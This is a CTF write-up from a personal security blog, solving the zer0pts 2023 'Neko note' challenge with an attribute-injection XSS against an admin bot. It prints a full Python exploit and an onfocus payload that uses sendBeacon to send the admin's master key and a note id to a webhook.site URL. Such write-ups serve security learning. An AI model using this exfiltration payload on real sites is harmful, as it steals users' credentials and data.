[ zer0pts 2023 ] Neko note

2023. 7. 22. 20:07·🚩 CTF/2023

Sadly, I solved only few challenges in zer0pts CTF :( . Write this for studying. 

The more web api you know, the easier you solve.

 

This is a service that we can upload a post and report it to admin.

./app
β”œβ”€β”€ Dockerfile
β”œβ”€β”€ go.mod
β”œβ”€β”€ go.sum
β”œβ”€β”€ main.go
β”œβ”€β”€ report.go
β”œβ”€β”€ static
β”‚   └── style.css
└── views
    β”œβ”€β”€ index.html
    └── note.html

Let's check core code of this challenge.

 

● main.go

var conn *redis.Client
var useRecaptcha bool
var siteKey string
var secretKey string

type Note struct {
	Id       string `json:"id"`
	Title    string `json:"title"`
	Body     string `json:"body,omitempty"`
	Locked   bool   `json:"locked"`
	Password string `json:"-"`
}

var notes map[string]Note = map[string]Note{}
var masterKey string

var linkPattern = regexp.MustCompile(`\[([0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[0-9a-f]{4}-[0-9a-f]{12})\]`)

It works with redis DB. Define structure of database and other variables. It defines "masterKey" value and we need to remember this.

 

// replace [(note ID)] to links
func replaceLinks(note string) string {
	return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
		id := strings.Trim(s, "[]") // delete every strings "[]"

		note, ok := notes[id]
		if !ok {
			return s
		}

		title := html.EscapeString(note.Title)
		return fmt.Sprintf(
			"<a href=/note/%s title=%s>%s</a>", id, title, title,
		)
	})
}

// escape note to prevent XSS first, then replace newlines to <br> and render links
func renderNote(note string) string {
	note = html.EscapeString(note)
	note = strings.ReplaceAll(note, "\n", "<br>")
	note = replaceLinks(note)
	return note
}

When post is created, by using htmlescape, service prevents triggering xss and exchange "\n" into "<br>" tag. After sanitizing post's title, make it into <a> tag.

 

● /views/index.html

function renderHistory(id, title) {
    let a = document.createElement('a');
    a.href = `/note/${id}`;
    a.textContent = title;

    let li = document.createElement('li');
    li.appendChild(a);
    notes.appendChild(li);
}
        
function getHistory() {
    const res = localStorage.getItem('neko-note-history');
    if (res === null) {
        return [];
    }
    return JSON.parse(res);
}

function setHistory(hist) {
    localStorage.setItem('neko-note-history', JSON.stringify(hist))
}

function addHistory(id, title) {
    let hist = getHistory();
    hist.push({ id, title });
    setHistory(hist);
    renderHistory(id, title);
}

addHistory(res.id, title.value);

It saves "id", "title" of post in localStorage("neko-note-history") that user made. When we make a post name is "a", you can see history like below.

 

 

● /bot/index.js

try {
    const context = await browser.newContext();
    const page = await context.newPage();

    // post a note that has the flag
    await page.goto(`${BASE_URL}/`);

    await page.type('#title', 'Flag');
    await page.type('#body', `The flag is: ${FLAG}`); // flag is here!
    const password = crypto.randomBytes(64).toString('base64');
    await page.type('#password', password);

    await page.click('#submit');

    // let's check the reported note
    await page.goto(`${BASE_URL}/note/${id}`);
    if (await page.$('input') != null) {
        // the note is locked, so use master key to unlock
        await page.type('input', MASTER_KEY);
        await page.click('button');

        // just in case there is a vuln like XSS, delete the password to prevent it from being stolen
        const len = (await page.$eval('input', el => el.value)).length;
        await page.focus('input');
        for (let i = 0; i < len; i++) {
            await page.keyboard.press('Backspace');
        }
    }

    // it's ready now. click "Show the note" button
    await page.click('button');

    // done!
    await wait(1000);

    await context.close();
    } catch (e) {
        console.error(e);
    }

    await browser.close();

    console.log('[+] done:', id);
};

When user report a specific post, admin would make Flag post. Then, enter MASTER_KEY into password and  check reported note. The point is admin delete MASTER_KEY after click the button.

 

[ Point 1 ]

// replace [(note ID)] to links
func replaceLinks(note string) string {
	return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
		id := strings.Trim(s, "[]") // delete every strings "[]"

		note, ok := notes[id]
		if !ok {
			return s
		}

		title := html.EscapeString(note.Title)
		return fmt.Sprintf(
			"<a href=/note/%s title=%s>%s</a>", id, title, title,
		)
	})
}

The service changes user's input into a tag. Bascially "EscapeString" is a countermeasure against XSS attack, but since the attribute value of <a> tag is not enclosed with "(double quote), it is able to trigger XSS.

 

When we enter "x autofocus onfocus=~~", <a> tag is built like this and we can trigger XSS.

<a href=/note/[post's id] title=x autofocus onfocus=[user's input]>x autofocus onfocus=[user's input]</a>

 

And another tiny point ! When you use "Trim" function, there is a big difference between Go and other language.

id := strings.Trim(s, "[]")

Most of people think it delete a pack of "[]" string in id variable, but in Go language, it delete every "[" , "]" even though they are separated. 

 

Here is a example.

 

[ Point 2 ]

Okay, we see we can trigger XSS. But what next? Our final goal is enter Flag post with mater key. Let's check admin bot file again.

 

await page.goto(`${BASE_URL}/note/${id}`);
if (await page.$('input') != null) {
    // the note is locked, so use master key to unlock
    await page.type('input', MASTER_KEY);
    await page.click('button');

    // just in case there is a vuln like XSS, delete the password to prevent it from being stolen
    const len = (await page.$eval('input', el => el.value)).length;
    await page.focus('input');
    for (let i = 0; i < len; i++) {
        await page.keyboard.press('Backspace');
    }
}

I said that after enter password with master key, admin delete master key. Before this action, admin check post first. If we intend Admin to do something with the XSS attack, it happens before the admin clears the password. 

 

So first, we intend to stop clearing password by using XSS.

 

reference : https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand

 

We can use execCommand('undo') to stop clearing password. Then we should send master key's value to our webhook site. Also, we have to check out what the post id that admin made is. (use localStorage which name is "neko-note-history"). We use "navigator.sendBeacon" to exploit it.

 

referernce : https://developer.mozilla.org/ko/docs/Web/API/Navigator/sendBeacon

 

x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}

 

When admin enter master key to check this post, we can get MASTER_KEY and id of flag post.

 

[ Point 3 ]

We made payload. But it's not over. 

// replace [(note ID)] to links
func replaceLinks(note string) string {
	return linkPattern.ReplaceAllStringFunc(note, func(s string) string {
		id := strings.Trim(s, "[]") // delete every strings "[]"

		note, ok := notes[id]
		if !ok {
			return s
		}

		title := html.EscapeString(note.Title)
		return fmt.Sprintf(
			"<a href=/note/%s title=%s>%s</a>", id, title, title,
		)
	})
}

We should make two posts to trigger XSS. First one is base step of trigger XSS, second one is for actual attack.

 

Exploit code is like this. Let's do some test to understand.

def make_note(title: str, body: str) -> str:
    res = requests.put(f"{BASE_URL}/api/note/new", 
        data = {
            "title": title, "body": body, "password": "x"
        }
    )
    return res.json()["id"]


title = f"x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}"
body = 'x'
first_post = make_note(title, body)

print("first_Post: " + first_post ) 

title2 = "x"
body2 = f"[{first_post}]"
second_post = make_note(title2, body2)

print(body2)

# first_post : eeb0e504-a0aa-4a25-959e-c303e239ce50
# second_post : 706efd52-b035-46fe-bb71-0a133b43590f

Check first post!

No XSS Attack occurred. Because the payload doesn't convert into <a> tag.

 

However, what happens in second post?

Oh, it is converted into  <a> tag and also XSS trigger occurred!

 

 

Exploit Code

import requests

BASE_URL = "http://localhost:8005"
HOOK_URL = "https://webhook.site/eb1ced50-a428-40b2-a43e-276e76ab4488"

def make_note(title: str, body: str) -> str:
    res = requests.put(f"{BASE_URL}/api/note/new", 
        data = {
            "title": title, "body": body, "password": "x"
        }
    )
    return res.json()["id"]


title = f"x autofocus onfocus=if(!window.AAAA){{document.execCommand('undo');setTimeout(function(){{navigator.sendBeacon('{HOOK_URL}',document.querySelector('input').value+'/'+JSON.parse(localStorage.getItem('neko-note-history'))[0].id)}},300)}}"
body = 'x'
first_post = make_note(title, body)

print("first_Post: " + first_post )

title2 = "x"
body2 = f"[{first_post}]"
second_post = make_note(title2, body2)

print(body2)

print("Second Post: " + second_post)
print(f"{BASE_URL}/note/{second_post}")

"Dummy" is the flag post and "b929~~" is master key.

 

Flag

zer0pts{neko_no_te_mo_karitai_m8jYx9WiTDY}

 

neko-note.zip
0.04MB


Note :

Web API에 λŒ€ν•œ 지식 및 ꡬ글링 λ…Έν•˜μš°λ₯Ό 더 μŒ“μ•„μ•Ό 함.

μ €μž‘μžν‘œμ‹œ λΉ„μ˜λ¦¬ λ³€κ²½κΈˆμ§€ (μƒˆμ°½μ—΄λ¦Ό)
'🚩 CTF/2023' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€
  • [ zer0pts ] ringtone
  • [ zer0pts 2023 ] Warmuprofile
  • [ justCTF 2023 ] Perfect Product
  • gpnCTF 2023 Web Writeup
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • λΆ„λ₯˜ 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • πŸ’» Security (5)
      • πŸ–ŒοΈ Theory (22)
        • WEB (9)
        • PWN (13)
      • πŸ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • λΈ”λ‘œκ·Έ 메뉴

    • ν™ˆ
  • 링크

  • 곡지사항

  • 인기 κΈ€

  • νƒœκ·Έ

    TFCCTF2022
    GPNCTF
    bug report
    Remote Code Execution
    Ubuntu 기초 μ…‹νŒ…
    Crypto
    TsukuCTF2022
    Text Summarization
    python
    RCE
    bug hunter
    Ubuntu 기초
    Deep learning
    sqli
    cache
    Machine Learning
    justCTF
    pwntools
    ubuntu λͺ…λ Ήμ–΄
    cache poisoning
  • 졜근 λŒ“κΈ€

  • 졜근 κΈ€

Cronus
[ zer0pts 2023 ] Neko note
μƒλ‹¨μœΌλ‘œ

ν‹°μŠ€ν† λ¦¬νˆ΄λ°”